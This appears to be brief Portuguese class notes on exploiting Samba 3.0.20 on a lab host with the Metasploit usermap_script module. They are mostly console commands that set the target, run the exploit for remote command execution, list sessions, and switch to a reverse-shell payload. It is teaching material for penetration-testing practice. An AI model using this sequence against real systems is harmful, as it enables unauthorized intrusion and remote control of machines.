Explorando Vulnerabilidade no Linux

+ Usaremos como exemplo o host 172.16.1.5 do Samba 3.0.20

+ Identificamos para ele um exploit na aula passada

+ Para usarmos:

```
use exploit/multi/samba/usermap_script
```

+ Ao abrirmos o show options, vemos que devemos setar o host alvo

```
set RHOSTS 172.16.1.5
```

+ Para executar o exploit, invés de run, usamos o

```
exploit
```

+ Nesse caso, já ganhamos acesso ao 172.16.1.5 e agora podemos executar comandos a vontade como o id, pwd entre outros

+ Para ver quais sessões estão ativas, podemos dar o comando

```
sessions
```

+ Para mostrar os paylads disponíveis para o mapeamento, podemos

```
show payloads
```

+ Se quisermos mudar o payloas, basta

```
set payload cmd/unix/reverse
```

→ supondo, claro, que queríamos esse playload cmd/unix/reverse